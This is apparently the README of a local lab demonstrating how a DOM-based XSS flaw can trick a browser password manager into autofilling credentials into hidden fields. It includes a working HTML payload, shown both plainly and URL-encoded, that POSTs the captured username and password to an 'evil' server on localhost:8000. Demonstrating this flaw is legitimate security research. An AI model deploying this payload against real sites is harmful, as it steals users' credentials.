A demonstration how a browser-based password manager can be tricked into autofilling user credentials by attacker-provided login fields.
This repository contains two actors.
- Users that have an account registered for a web application that has a DOM-based XSS vulnerability
- An attacker, who is targeting to steal the credentials of other users
- autofill is enabled (preference
signon.autofillForms
is true)
- Install Node.js and npm
- Clone the repository
- Navigate to directory capture-credentials-exploit and install dependencies by running
npm install
- Make sure nothing is running on ports 8000 and 5000 yet.
- Start the vulnerabl web application
npm run start-vulnerable-website
- Run the evil web server
npm run start-evil-webserver
- Visit http://localhost:5000/login, enter some fake credentials (access is granted in any cases) and click the login button.
- Click save on the appearing doorhanger to store the credentials with the password manager.
- You are redirected to http://localhost:5000/comment. Write some comment to see, what the web application is supposed to do.
- You are redirected to http://localhost:5000/unique. Take a look at the URL. The comment rendered on the page is retrieved from the URL parameter "comment".
- Go back to test the credential theft exploit on yourself. Enter the following payload in the comment box. The fetch request to the evil web server localhost:8000, containing the exfiltrated credentials, can be seen in the Web Developer Toolbox in the Network tab.
<input style="display: none" id="u" />
<input
style="display: none"
type="password"
onchange='if(this.value.length)fetch("http://localhost:8000",{
method:"POST",
mode: "no-cors",
body: u.value+" : "+this.value,
})'
/>
-
Check your logs to confirm that the evil web server received your credentials.
-
Simulate the unsuspecting user that receives and visits the following URL. Now check the logs again.
http://localhost:5000/unique?comment=%3Cinput%20style%3D%22display%3A%20none%22%20id%3D%22u%22%20%2F%3E%0D%0A%3Cinput%0D%0A%20%20style%3D%22display%3A%20none%22%0D%0A%20%20type%3D%22password%22%0D%0A%20%20onchange%3D%27if(this.value.length)fetch(%22http%3A%2F%2Flocalhost%3A8000%22%2C{%0D%0A%20%20%20%20method%3A%22POST%22%2C%0D%0A%20%20%20%20mode%3A%20%22no-cors%22%2C%0D%0A%20%20%20%20body%3A%20u.value%2B%22%20%3A%20%22%2Bthis.value%2C%0D%0A%20%20%20%20})%27%0D%0A%2F%3E
In a real attack scenario the attacker would need to convince a user in some way to visit the URL, which contains the attacker-provided malicious payload. The loaded URL could additionally be obfuscated to make it look less suspicious than right now.